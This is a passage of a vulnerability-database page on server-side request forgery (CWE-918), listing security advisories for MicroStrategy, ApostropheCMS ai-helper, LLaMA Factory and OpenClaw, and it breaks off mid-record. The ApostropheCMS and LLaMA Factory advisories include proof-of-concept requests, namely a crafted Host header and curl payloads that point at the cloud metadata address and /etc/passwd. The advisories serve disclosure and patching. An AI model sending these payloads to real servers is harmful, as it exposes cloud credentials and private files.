Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6723 vulnerabilities reference this CWE, most recent first.

GHSA-525P-6C9G-WF86

Vulnerability from github – Published: 2022-05-24 17:13 – Updated: 2024-03-21 03:33
VLAI
Details

Microstrategy Web 10.4 is vulnerable to Server-Side Request Forgery in the Test Web Service functionality exposed through the path /MicroStrategyWS/. The functionality requires no authentication and, while it is not possible to pass parameters in the SSRF request, it is still possible to exploit it to conduct port scanning. An attacker could exploit this vulnerability to enumerate the resources allocated in the network (IP addresses and services exposed).

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-11453"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-04-02T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Microstrategy Web 10.4 is vulnerable to Server-Side Request Forgery in the Test Web Service functionality exposed through the path /MicroStrategyWS/. The functionality requires no authentication and, while it is not possible to pass parameters in the SSRF request, it is still possible to exploit it to conduct port scanning. An attacker could exploit this vulnerability to enumerate the resources allocated in the network (IP addresses and services exposed).",
  "id": "GHSA-525p-6c9g-wf86",
  "modified": "2024-03-21T03:33:54Z",
  "published": "2022-05-24T17:13:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11453"
    },
    {
      "type": "WEB",
      "url": "https://community.microstrategy.com/s/article/Web-Services-Security-Vulnerability"
    },
    {
      "type": "WEB",
      "url": "https://www.redtimmy.com/web-application-hacking/another-ssrf-another-rce-the-microstrategy-case"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/157068/MicroStrategy-Intelligence-Server-And-Web-10.4-XSS-Disclosure-SSRF-Code-Execution.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2020/Apr/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-527G-FF96-X6WJ

Vulnerability from github – Published: 2026-10-20 18:11 – Updated: 2026-10-20 18:11
VLAI
Summary
ApostropheCMS: Host header controls server-side image fetch origin in @apostrophecms/ai-helper, enabling authenticated SSRF
Details

Summary

The @apostrophecms/ai-helper package builds the URL for a server-side image fetch by resolving a storage-relative path against req.baseUrl. When the site does not set a global base URL (the default), req.baseUrl is derived from the incoming HTTP Host header. An authenticated editor can generate a base64 AI image (which is persisted without a stored url) and then send an unauthorized PATCH accept request with an attacker-chosen Host header. The server then issues an outbound GET to the attacker-selected origin, producing a Server-Side Request Forgery primitive that reaches hosts and ports the client cannot otherwise contact. The affected code lives in packages/ai-helper/modules/@apostrophecms/ai-helper-image/index.js.

Root Cause

The image accept route trusts req.baseUrl as a safe origin for constructing an internal fetch target, but req.baseUrl is attacker-influenced whenever the site has no configured base URL. The URL builder concatenates a default local storage path (which is relative, for example /uploads) and resolves it against req.baseUrl; because the left operand is relative, the resulting origin is taken entirely from req.baseUrl. Two protections that exist elsewhere are missing on this path: the generate route enforces an edit capability, but the accept route performs no authorization or ownership check, and no allowlist or validation constrains the resolved origin before the fetch.

packages/ai-helper/modules/@apostrophecms/ai-helper-image/index.js
  aiHelperImageUrl (line 91-92): image.url || new URL(self.uploadfs.getUrl() + `/ai-helper-images/${image._id}.png`, req.baseUrl)
  aiHelperFetchImage (line 64-65): fetch(self.aiHelperImageUrl(req, image))
  apiRoutes.patch['ai-helper/:_id'] (line 314-333): findOne({ _id }) only; no permission or ownership check
packages/apostrophe/modules/@apostrophecms/i18n/index.js
  setPrefixUrls (line 799-820): req.baseUrl falls back to `${req.protocol}://${host}`, host from the Host header when apos.baseUrl is unset

Impact

An attacker who holds a low-privileged editor account (the capability required to generate an AI image, which inserts a base64 record without a stored url and returns its identifier) can coerce the server into issuing outbound GET requests to an origin of their choosing by supplying a crafted Host header on the accept request. This yields SSRF: probing internal hosts and ports that are not reachable from the attacker's network position, and limited semi-blind exfiltration where an image-parseable response at the fixed path becomes a viewable attachment. The request path is fixed to /uploads/ai-helper-images/<id>.png, so only the origin (host, port, and http scheme) is attacker-controlled; arbitrary-path retrieval such as cloud metadata traversal is not reachable through this primitive. No integrity or availability primitive was demonstrated. Exploitation requires the default deployment where no global base URL is configured and local file storage is in use, together with a configured provider that returns base64 image data.

Proof of Concept

Preconditions:
  - ApostropheCMS site with @apostrophecms/ai-helper installed and a configured
    base64-returning image provider.
  - No global base URL configured (apos.baseUrl unset), default local uploadfs.
  - Attacker holds an account with edit capability on at least one content type.
  1. Authenticate as the editor and generate a base64 AI image: POST /api/v1/@apostrophecms/image/ai-helper with body {"prompt":"x"}. The response contains the new record identifier <_id>. The persisted record has no url field.
  2. Send the accept request with a malicious Host header:
PATCH /api/v1/@apostrophecms/image/ai-helper/<_id> HTTP/1.1
Host: 169.254.169.254
Content-Type: application/json

{"accepted": true}
  1. The server derives req.baseUrl as http://169.254.169.254, builds the fetch target http://169.254.169.254/uploads/ai-helper-images/<_id>.png, and issues the outbound request.
Derivation confirmed against source logic:
  base64 record (no url) + Host: 169.254.169.254
    -> new URL("/uploads/ai-helper-images/<_id>.png", "http://169.254.169.254")
    -> server fetches: http://169.254.169.254/uploads/ai-helper-images/<_id>.png
  control (apos.baseUrl set to https://cms.example.com):
    -> fetch target uses https://cms.example.com (Host ignored)
  control (record stores its own url):
    -> aiHelperImageUrl short-circuits to the stored url (no SSRF)

Attack Chain

  1. Exposure: The @apostrophecms/ai-helper-image module registers POST and PATCH routes under /api/v1/@apostrophecms/image/ai-helper, reachable by any authenticated session on a site that installed the package.
  2. Control: The attacker controls the HTTP Host header on the PATCH request; the global locale middleware copies it into req.baseUrl because apos.baseUrl is unset (packages/apostrophe/modules/@apostrophecms/i18n/index.js:805,816-819).
  3. Path: The attacker first generates a base64 image via POST, which inserts a record without a url (ai-helper-image/index.js:282-284); the returned identifier is then used in the PATCH accept request, which calls aiHelperFetchImage (:332).
  4. Guard: The PATCH handler checks only req.body.accepted and record existence via findOne({ _id }) (:318,:322); it performs no capability check and no owner scoping, unlike the POST route which calls checkPermissions (:176). No validation constrains the resolved origin before the fetch.
  5. Primitive: aiHelperImageUrl resolves the relative storage path against the Host-derived req.baseUrl and aiHelperFetchImage calls fetch on the result (:91-92,:64-65).
  6. Result: The server performs an outbound GET to the attacker-chosen origin at a fixed path, granting internal host and port reachability and limited semi-blind response retrieval that the attacker's network position does not otherwise permit.

Bypass Evidence

The generate route's checkPermissions guard (ai-helper-image/index.js:176) is not present on the accept route, so no authorization protects the fetch. The following refutations were tested and defeated:

  • Default local storage returns a relative URL: uploadfs.getUrl() yields /uploads because the local backend builds uploadsUrl = (apos.baseUrl || '') + prefix + '/uploads', so new URL(relative, req.baseUrl) takes its origin from req.baseUrl. Configuring a base URL or an absolute storage URL (S3/CDN) defeats the attack, which is why those are negative controls, not the default.
  • The base64 record has no persisted url: insertOne(image) stores the record before image.url is assigned on the in-memory response object (:282-284 versus :294), so the PATCH handler re-reads a record with no url and the short-circuit in aiHelperImageUrl does not apply.
  • Ownership and enumeration: GET and DELETE on these records are userId-scoped and cuid2 identifiers are unguessable, so the practical actor is the generating editor; this bounds the required privilege to a low-privileged authenticated user rather than an anonymous or cross-tenant attacker.
  • Not a duplicate: the fix for the core pretty-URL SSRF advisory lives entirely in the separate @apostrophecms/file module and its stream proxy and never touches packages/ai-helper; the rich-text import SSRF advisory uses a different route with an explicit hostname allowlist. No advisory exists for @apostrophecms/ai-helper. This is a parallel unguarded sink, not an incomplete fix of either.

Affected Versions

  • Ecosystem: npm
  • Package: @apostrophecms/ai-helper
  • Confirmed affected range: >= 1.0.0-beta.10, <= 1.0.0-beta.12
  • Latest release checked: 1.0.0-beta.12 (npm registry, dist-tag latest)
  • Fix status: not fixed

The vulnerable pattern was introduced in 1.0.0-beta.10: earlier releases through 1.0.0-beta.9 fetched the stored provider URL directly (fetch(url)) with no req.baseUrl resolution and no uploadfs-relative construction, so they are not affected by this pattern. Inspection of the published tarballs for 1.0.0-beta.10, 1.0.0-beta.11, and 1.0.0-beta.12 confirms the full chain (Host-derived base resolution, unguarded accept route, base64 insert without a stored url) is present and unchanged through the latest published release. This package publishes only on the prerelease (beta) channel, and the latest published version remains vulnerable.

Suggested Fix

Do not treat req.baseUrl as a trusted origin for a server-side fetch. Enforce the same authorization on the accept route that the generate route applies, and add an ownership or scope check so a record can only be accepted by a user permitted to act on it. Independently, constrain the fetch target: resolve the storage-relative path against a server-configured, trusted base (for example the configured storage base URL) rather than the request-derived req.baseUrl, and reject or allowlist any resulting origin before calling fetch. Ensure the remediation covers both the base64 (no stored url) representation and the stored-url representation, and any other caller that reaches aiHelperImageUrl or aiHelperFetchImage. As an interim mitigation without a code change, configure a global base URL so the resolved origin is fixed, and place egress controls on the server so outbound requests cannot reach sensitive internal hosts or metadata endpoints.

Reported by zx (GitHub: @manus-pi).

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apostrophecms/ai-helper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0-beta.10"
            },
            {
              "fixed": "1.0.0-beta.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-113671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-20T18:11:01Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `@apostrophecms/ai-helper` package builds the URL for a server-side image fetch by resolving a storage-relative path against `req.baseUrl`. When the site does not set a global base URL (the default), `req.baseUrl` is derived from the incoming HTTP `Host` header. An authenticated editor can generate a base64 AI image (which is persisted without a stored `url`) and then send an unauthorized `PATCH` accept request with an attacker-chosen `Host` header. The server then issues an outbound `GET` to the attacker-selected origin, producing a Server-Side Request Forgery primitive that reaches hosts and ports the client cannot otherwise contact. The affected code lives in `packages/ai-helper/modules/@apostrophecms/ai-helper-image/index.js`.\n\n## Root Cause\n\nThe image accept route trusts `req.baseUrl` as a safe origin for constructing an internal fetch target, but `req.baseUrl` is attacker-influenced whenever the site has no configured base URL. The URL builder concatenates a default local storage path (which is relative, for example `/uploads`) and resolves it against `req.baseUrl`; because the left operand is relative, the resulting origin is taken entirely from `req.baseUrl`. Two protections that exist elsewhere are missing on this path: the generate route enforces an edit capability, but the accept route performs no authorization or ownership check, and no allowlist or validation constrains the resolved origin before the fetch.\n\n```text\npackages/ai-helper/modules/@apostrophecms/ai-helper-image/index.js\n  aiHelperImageUrl (line 91-92): image.url || new URL(self.uploadfs.getUrl() + `/ai-helper-images/${image._id}.png`, req.baseUrl)\n  aiHelperFetchImage (line 64-65): fetch(self.aiHelperImageUrl(req, image))\n  apiRoutes.patch[\u0027ai-helper/:_id\u0027] (line 314-333): findOne({ _id }) only; no permission or ownership check\npackages/apostrophe/modules/@apostrophecms/i18n/index.js\n  setPrefixUrls (line 799-820): req.baseUrl falls back to `${req.protocol}://${host}`, host from the Host header when apos.baseUrl is unset\n```\n\n## Impact\n\nAn attacker who holds a low-privileged editor account (the capability required to generate an AI image, which inserts a base64 record without a stored `url` and returns its identifier) can coerce the server into issuing outbound `GET` requests to an origin of their choosing by supplying a crafted `Host` header on the accept request. This yields SSRF: probing internal hosts and ports that are not reachable from the attacker\u0027s network position, and limited semi-blind exfiltration where an image-parseable response at the fixed path becomes a viewable attachment. The request path is fixed to `/uploads/ai-helper-images/\u003cid\u003e.png`, so only the origin (host, port, and `http` scheme) is attacker-controlled; arbitrary-path retrieval such as cloud metadata traversal is not reachable through this primitive. No integrity or availability primitive was demonstrated. Exploitation requires the default deployment where no global base URL is configured and local file storage is in use, together with a configured provider that returns base64 image data.\n\n## Proof of Concept\n\n```text\nPreconditions:\n  - ApostropheCMS site with @apostrophecms/ai-helper installed and a configured\n    base64-returning image provider.\n  - No global base URL configured (apos.baseUrl unset), default local uploadfs.\n  - Attacker holds an account with edit capability on at least one content type.\n```\n\n1. Authenticate as the editor and generate a base64 AI image:\n   `POST /api/v1/@apostrophecms/image/ai-helper` with body `{\"prompt\":\"x\"}`. The response contains the new record identifier `\u003c_id\u003e`. The persisted record has no `url` field.\n2. Send the accept request with a malicious `Host` header:\n\n```text\nPATCH /api/v1/@apostrophecms/image/ai-helper/\u003c_id\u003e HTTP/1.1\nHost: 169.254.169.254\nContent-Type: application/json\n\n{\"accepted\": true}\n```\n\n3. The server derives `req.baseUrl` as `http://169.254.169.254`, builds the fetch target `http://169.254.169.254/uploads/ai-helper-images/\u003c_id\u003e.png`, and issues the outbound request.\n\n```text\nDerivation confirmed against source logic:\n  base64 record (no url) + Host: 169.254.169.254\n    -\u003e new URL(\"/uploads/ai-helper-images/\u003c_id\u003e.png\", \"http://169.254.169.254\")\n    -\u003e server fetches: http://169.254.169.254/uploads/ai-helper-images/\u003c_id\u003e.png\n  control (apos.baseUrl set to https://cms.example.com):\n    -\u003e fetch target uses https://cms.example.com (Host ignored)\n  control (record stores its own url):\n    -\u003e aiHelperImageUrl short-circuits to the stored url (no SSRF)\n```\n\n## Attack Chain\n\n1. **Exposure:** The `@apostrophecms/ai-helper-image` module registers `POST` and `PATCH` routes under `/api/v1/@apostrophecms/image/ai-helper`, reachable by any authenticated session on a site that installed the package.\n2. **Control:** The attacker controls the HTTP `Host` header on the `PATCH` request; the global `locale` middleware copies it into `req.baseUrl` because `apos.baseUrl` is unset (`packages/apostrophe/modules/@apostrophecms/i18n/index.js:805,816-819`).\n3. **Path:** The attacker first generates a base64 image via `POST`, which inserts a record without a `url` (`ai-helper-image/index.js:282-284`); the returned identifier is then used in the `PATCH` accept request, which calls `aiHelperFetchImage` (`:332`).\n4. **Guard:** The `PATCH` handler checks only `req.body.accepted` and record existence via `findOne({ _id })` (`:318,:322`); it performs no capability check and no owner scoping, unlike the `POST` route which calls `checkPermissions` (`:176`). No validation constrains the resolved origin before the fetch.\n5. **Primitive:** `aiHelperImageUrl` resolves the relative storage path against the Host-derived `req.baseUrl` and `aiHelperFetchImage` calls `fetch` on the result (`:91-92,:64-65`).\n6. **Result:** The server performs an outbound `GET` to the attacker-chosen origin at a fixed path, granting internal host and port reachability and limited semi-blind response retrieval that the attacker\u0027s network position does not otherwise permit.\n\n## Bypass Evidence\n\nThe generate route\u0027s `checkPermissions` guard (`ai-helper-image/index.js:176`) is not present on the accept route, so no authorization protects the fetch. The following refutations were tested and defeated:\n\n- Default local storage returns a relative URL: `uploadfs.getUrl()` yields `/uploads` because the local backend builds `uploadsUrl = (apos.baseUrl || \u0027\u0027) + prefix + \u0027/uploads\u0027`, so `new URL(relative, req.baseUrl)` takes its origin from `req.baseUrl`. Configuring a base URL or an absolute storage URL (S3/CDN) defeats the attack, which is why those are negative controls, not the default.\n- The base64 record has no persisted `url`: `insertOne(image)` stores the record before `image.url` is assigned on the in-memory response object (`:282-284` versus `:294`), so the `PATCH` handler re-reads a record with no `url` and the short-circuit in `aiHelperImageUrl` does not apply.\n- Ownership and enumeration: `GET` and `DELETE` on these records are `userId`-scoped and cuid2 identifiers are unguessable, so the practical actor is the generating editor; this bounds the required privilege to a low-privileged authenticated user rather than an anonymous or cross-tenant attacker.\n- Not a duplicate: the fix for the core pretty-URL SSRF advisory lives entirely in the separate `@apostrophecms/file` module and its stream proxy and never touches `packages/ai-helper`; the rich-text import SSRF advisory uses a different route with an explicit hostname allowlist. No advisory exists for `@apostrophecms/ai-helper`. This is a parallel unguarded sink, not an incomplete fix of either.\n\n## Affected Versions\n\n- `Ecosystem: npm`\n- `Package: @apostrophecms/ai-helper`\n- `Confirmed affected range: \u003e= 1.0.0-beta.10, \u003c= 1.0.0-beta.12`\n- `Latest release checked: 1.0.0-beta.12 (npm registry, dist-tag latest)`\n- `Fix status: not fixed`\n\nThe vulnerable pattern was introduced in `1.0.0-beta.10`: earlier releases through `1.0.0-beta.9` fetched the stored provider URL directly (`fetch(url)`) with no `req.baseUrl` resolution and no uploadfs-relative construction, so they are not affected by this pattern. Inspection of the published tarballs for `1.0.0-beta.10`, `1.0.0-beta.11`, and `1.0.0-beta.12` confirms the full chain (Host-derived base resolution, unguarded accept route, base64 insert without a stored url) is present and unchanged through the latest published release. This package publishes only on the prerelease (beta) channel, and the latest published version remains vulnerable.\n\n## Suggested Fix\n\nDo not treat `req.baseUrl` as a trusted origin for a server-side fetch. Enforce the same authorization on the accept route that the generate route applies, and add an ownership or scope check so a record can only be accepted by a user permitted to act on it. Independently, constrain the fetch target: resolve the storage-relative path against a server-configured, trusted base (for example the configured storage base URL) rather than the request-derived `req.baseUrl`, and reject or allowlist any resulting origin before calling `fetch`. Ensure the remediation covers both the base64 (no stored url) representation and the stored-url representation, and any other caller that reaches `aiHelperImageUrl` or `aiHelperFetchImage`. As an interim mitigation without a code change, configure a global base URL so the resolved origin is fixed, and place egress controls on the server so outbound requests cannot reach sensitive internal hosts or metadata endpoints.\n\nReported by zx (GitHub: @manus-pi).",
  "id": "GHSA-527g-ff96-x6wj",
  "modified": "2026-10-20T18:11:01Z",
  "published": "2026-10-20T18:11:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-527g-ff96-x6wj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/releases/tag/@apostrophecms/ai-helper@1.0.0-beta.13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ApostropheCMS: Host header controls server-side image fetch origin in @apostrophecms/ai-helper, enabling authenticated SSRF"
}

GHSA-527M-2XHR-J27G

Vulnerability from github – Published: 2025-10-07 22:08 – Updated: 2026-03-19 20:50
VLAI
Summary
LLaMA Factory's Chat API Contains Critical SSRF and LFI Vulnerabilities
Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability in the chat API allows any authenticated user to force the server to make arbitrary HTTP requests to internal and external networks. This can lead to the exposure of sensitive internal services, reconnaissance of the internal network, or interaction with third-party services. The same mechanism also allows for a Local File Inclusion (LFI) vulnerability, enabling users to read arbitrary files from the server's filesystem.

Details

The vulnerability exists in the _process_request function within src/llamafactory/api/chat.py. This function is responsible for processing incoming multimodal content, including images, videos, and audio provided via URLs.

The function checks if the provided URL is a base64 data URI or a local file path (os.path.isfile). If neither is true, it falls back to treating the URL as a web URI and makes a direct HTTP GET request using requests.get(url, stream=True).raw without any validation or sanitization of the URL.

Vulnerable Code Snippets in _process_request:

# ...
        elif input_item.type == "image_url":
            # ...
            else:  # web uri
                image_stream = requests.get(image_url, stream=True).raw
# ...
        elif input_item.type == "video_url":
            # ...
            else:  # web uri
                video_stream = requests.get(video_url, stream=True).raw
# ...
        elif input_item.type == "audio_url":
            # ...
            else:  # web uri
                audio_stream = requests.get(audio_url, stream=True).raw
# ...

This vulnerable function is called by create_chat_completion_response and create_stream_chat_completion_response, which are in turn called by the public-facing /v1/chat/completions API endpoint in src/llamafactory/api/app.py. A user can craft a request to this endpoint containing a malicious URL in the messages payload to trigger the vulnerability.

PoC

To reproduce the vulnerability, send a POST request to the /v1/chat/completions endpoint with a JSON payload containing a URL that points to an internal or controlled external service.

Start the LLaMA Factory API server.

Use curl to send the malicious request. The following example uses a URL pointing to the AWS metadata service, a common SSRF attack vector.

SSRF Payload:

curl -X POST "http://127.0.0.1:8000/v1/chat/completions" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer your_api_key" \
-d '{
  "model": "your-model-name",
  "messages": [
    {
      "role": "user",
      "content": [
        {
          "type": "text",
          "text": "What is in this image?"
        },
        {
          "type": "image_url",
          "image_url": {
            "url": "http://169.254.169.254/latest/meta-data/"
          }
        }
      ]
    }
  ]
}'

LFI Payload:

curl -X POST "http://127.0.0.1:8000/v1/chat/completions" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer your_api_key" \
-d '{
  "model": "your-model-name",
  "messages": [
    {
      "role": "user",
      "content": [
        {
          "type": "text",
          "text": "What is in this image?"
        },
        {
          "type": "image_url",
          "image_url": {
            "url": "/etc/passwd"
          }
        }
      ]
    }
  ]
}'

The server will make a request to the specified URL or read the specified local file.

Impact

Vulnerability Type: Server-Side Request Forgery (SSRF) and Local File Inclusion (LFI).

Impacted Component: The API server, specifically the /v1/chat/completions endpoint.

Who is impacted: Any user who can send requests to the chat API. The vulnerability allows an attacker to bypass firewalls and access internal network resources, query cloud metadata services for credentials, or read sensitive files on the server. The severity is critical.

Credits

Wenhao Wu, ChengGao, Alibaba Cloud Intelligence Security Team

Severity
7.6 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "llamafactory"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-61784"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-07T22:08:53Z",
    "nvd_published_at": "2025-10-07T19:15:39Z",
    "severity": "HIGH"
  },
  "details": "## Summary ##\n\nA Server-Side Request Forgery (SSRF) vulnerability in the chat API allows any authenticated user to force the server to make arbitrary HTTP requests to internal and external networks. This can lead to the exposure of sensitive internal services, reconnaissance of the internal network, or interaction with third-party services. The same mechanism also allows for a Local File Inclusion (LFI) vulnerability, enabling users to read arbitrary files from the server\u0027s filesystem.\n\n## Details ##\nThe vulnerability exists in the _process_request function within src/llamafactory/api/chat.py. This function is responsible for processing incoming multimodal content, including images, videos, and audio provided via URLs.\n\nThe function checks if the provided URL is a base64 data URI or a local file path (os.path.isfile). If neither is true, it falls back to treating the URL as a web URI and makes a direct HTTP GET request using requests.get(url, stream=True).raw without any validation or sanitization of the URL.\n\nVulnerable Code Snippets in _process_request:\n```\n# ...\n        elif input_item.type == \"image_url\":\n            # ...\n            else:  # web uri\n                image_stream = requests.get(image_url, stream=True).raw\n# ...\n        elif input_item.type == \"video_url\":\n            # ...\n            else:  # web uri\n                video_stream = requests.get(video_url, stream=True).raw\n# ...\n        elif input_item.type == \"audio_url\":\n            # ...\n            else:  # web uri\n                audio_stream = requests.get(audio_url, stream=True).raw\n# ...\n```\nThis vulnerable function is called by create_chat_completion_response and create_stream_chat_completion_response, which are in turn called by the public-facing /v1/chat/completions API endpoint in src/llamafactory/api/app.py. A user can craft a request to this endpoint containing a malicious URL in the messages payload to trigger the vulnerability.\n\n## PoC ##\nTo reproduce the vulnerability, send a POST request to the /v1/chat/completions endpoint with a JSON payload containing a URL that points to an internal or controlled external service.\n\nStart the LLaMA Factory API server.\n\nUse curl to send the malicious request. The following example uses a URL pointing to the AWS metadata service, a common SSRF attack vector.\n\nSSRF Payload:\n```\ncurl -X POST \"http://127.0.0.1:8000/v1/chat/completions\" \\\n-H \"Content-Type: application/json\" \\\n-H \"Authorization: Bearer your_api_key\" \\\n-d \u0027{\n  \"model\": \"your-model-name\",\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        {\n          \"type\": \"text\",\n          \"text\": \"What is in this image?\"\n        },\n        {\n          \"type\": \"image_url\",\n          \"image_url\": {\n            \"url\": \"http://169.254.169.254/latest/meta-data/\"\n          }\n        }\n      ]\n    }\n  ]\n}\u0027\n```\nLFI Payload:\n```\ncurl -X POST \"http://127.0.0.1:8000/v1/chat/completions\" \\\n-H \"Content-Type: application/json\" \\\n-H \"Authorization: Bearer your_api_key\" \\\n-d \u0027{\n  \"model\": \"your-model-name\",\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        {\n          \"type\": \"text\",\n          \"text\": \"What is in this image?\"\n        },\n        {\n          \"type\": \"image_url\",\n          \"image_url\": {\n            \"url\": \"/etc/passwd\"\n          }\n        }\n      ]\n    }\n  ]\n}\u0027\n```\nThe server will make a request to the specified URL or read the specified local file.\n\n## Impact ##\nVulnerability Type: Server-Side Request Forgery (SSRF) and Local File Inclusion (LFI).\n\nImpacted Component: The API server, specifically the /v1/chat/completions endpoint.\n\nWho is impacted: Any user who can send requests to the chat API. The vulnerability allows an attacker to bypass firewalls and access internal network resources, query cloud metadata services for credentials, or read sensitive files on the server. The severity is critical.\n\n## Credits\nWenhao Wu, ChengGao, Alibaba Cloud Intelligence Security Team",
  "id": "GHSA-527m-2xhr-j27g",
  "modified": "2026-03-19T20:50:59Z",
  "published": "2025-10-07T22:08:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hiyouga/LlamaFactory/security/advisories/GHSA-527m-2xhr-j27g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61784"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hiyouga/LLaMAFactory/commit/95b7188090a1018935c9dc072bfc97f24f1c96e9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hiyouga/LLaMA-Factory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LLaMA Factory\u0027s Chat API Contains Critical SSRF and LFI Vulnerabilities"
}

GHSA-527M-976R-JF79

Vulnerability from github – Published: 2026-04-17 22:11 – Updated: 2026-05-08 21:48
VLAI
Summary
OpenClaw: Existing-session browser interaction routes bypassed SSRF policy enforcement
Details

Summary

Existing-session browser interaction routes bypassed SSRF policy enforcement.

Affected Packages / Versions

  • Package: openclaw
  • Ecosystem: npm
  • Affected versions: < 2026.4.10
  • Patched versions: >= 2026.4.10

Impact

Existing-session browser interaction routes could continue interacting with or navigating targets without applying the same SSRF navigation guard used by guarded browser routes.

Technical Details

The fix guards existing-session navigation and interaction routes with browser navigation policy checks.

Fix

The issue was fixed in #64370. The first stable tag containing the fix is v2026.4.10, and openclaw@2026.4.14 includes the fix.

Fix Commit(s)

  • daeb74920d5ad986cb600625180037e23221e93a
  • PR: #64370

Release Process Note

Users should upgrade to openclaw 2026.4.10 or newer. The latest npm release, 2026.4.14, already includes the fix.

Credits

Thanks to @zsxsoft, with sponsorship from @KeenSecurityLab and @qclawer for reporting this issue.

Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43573"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-17T22:11:33Z",
    "nvd_published_at": "2026-05-05T12:16:21Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nExisting-session browser interaction routes bypassed SSRF policy enforcement.\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Ecosystem: npm\n- Affected versions: `\u003c 2026.4.10`\n- Patched versions: `\u003e= 2026.4.10`\n\n## Impact\n\nExisting-session browser interaction routes could continue interacting with or navigating targets without applying the same SSRF navigation guard used by guarded browser routes.\n\n## Technical Details\n\nThe fix guards existing-session navigation and interaction routes with browser navigation policy checks.\n\n## Fix\n\nThe issue was fixed in #64370. The first stable tag containing the fix is `v2026.4.10`, and `openclaw@2026.4.14` includes the fix.\n\n## Fix Commit(s)\n\n- `daeb74920d5ad986cb600625180037e23221e93a`\n- PR: #64370\n\n## Release Process Note\n\nUsers should upgrade to `openclaw` 2026.4.10 or newer. The latest npm release, `2026.4.14`, already includes the fix.\n\n## Credits\n\nThanks to @zsxsoft, with sponsorship from @KeenSecurityLab and @qclawer for reporting this issue.",
  "id": "GHSA-527m-976r-jf79",
  "modified": "2026-05-08T21:48:06Z",
  "published": "2026-04-17T22:11:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-527m-976r-jf79"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43573"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/pull/64370"
    },
    {
